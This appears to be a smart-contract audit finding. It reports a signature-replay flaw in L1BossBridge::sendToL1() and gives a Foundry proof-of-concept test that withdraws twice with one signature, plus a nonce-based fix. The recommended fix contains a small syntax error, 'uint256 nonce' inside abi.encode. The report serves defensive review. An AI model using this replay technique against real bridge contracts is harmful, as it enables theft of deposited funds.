Summary
The L1BossBridge::sendToL1()
function lacks validations to prevent the execution of a valid signed
transaction multiple times. An attacker could deposit tokens into the contract and replay a valid
withdrawal transaction repeatedly, leading to the draining of funds from the contract.
Vulnerability Details
function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message) public nonReentrant whenNotPaused {
address signer = ECDSA.recover(MessageHashUtils.toEthSignedMessageHash(keccak256(message)), v, r, s);
if (!signers[signer]) {
revert L1BossBridge__Unauthorized();
}
@>
Impact
Drain of funds from the protocol.
Here is a test that shows how a valid transaction can be replayed multiple times, allowing an attacker to extract more funds
from the protocol beyond the initially deposited amount.
address attacker = makeAddr("1337");
address attackerInL2 = makeAddr("attackerInL2");
function testReplayAttack() public {
vm.startPrank(user);
uint256 userDepositAmount = 5e18;
token.approve(address(tokenBridge), userDepositAmount);
tokenBridge.depositTokensToL2(user, userInL2, userDepositAmount);
vm.stopPrank();
vm.startPrank(attacker);
uint256 attackerDepositAmount = 1e18;
token.approve(address(tokenBridge), attackerDepositAmount);
tokenBridge.depositTokensToL2(attacker, attackerInL2, attackerDepositAmount);
(uint8 v, bytes32 r, bytes32 s) = _signMessage(_getTokenWithdrawalMessage(attacker, attackerDepositAmount), operator.key);
WithdrawWithSignature(attacker, attackerDepositAmount, v, r, s);
@> WithdrawWithSignature(attacker, attackerDepositAmount, v, r, s);
assertEq(token.balanceOf(address(attacker)), 2e18);
}
function WithdrawWithSignature(address from, uint256 amount, uint8 v, bytes32 r, bytes32 s) public {
tokenBridge.withdrawTokensToL1(from, amount, v, r, s);
}
Tools Used
Foundry
Recommendations
Consider incorporating a nonce into the message hash for uniqueness. Also, establish a mapping of previously executed transaction
hashes to validate before proceeding with the call.
@> mapping(bytes => bool) public txExecuted;
function withdrawTokensToL1(address to, uint256 amount, uint256 nonce, uint8 v, bytes32 r, bytes32 s) external {
sendToL1(
v,
r,
s,
abi.encode(
address(token),
0,
uint256 nonce,
abi.encodeCall(IERC20.transferFrom, (address(vault), to, amount))
)
);
}
function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message) public nonReentrant whenNotPaused {
address signer = ECDSA.recover(MessageHashUtils.toEthSignedMessageHash(keccak256(message)), v, r, s);
if (!signers[signer]) {
revert L1BossBridge__Unauthorized();
}
@> require (!txExecuted[message], "Tx executed");
@> txExecuted[message] = true;
(address target, uint256 value, uint256 nonce, bytes memory data) = abi.decode(message, (address, uint256, uint256, bytes));
(bool success,) = target.call{ value: value }(data);
if (!success) {
revert L1BossBridge__CallFailed();
}
}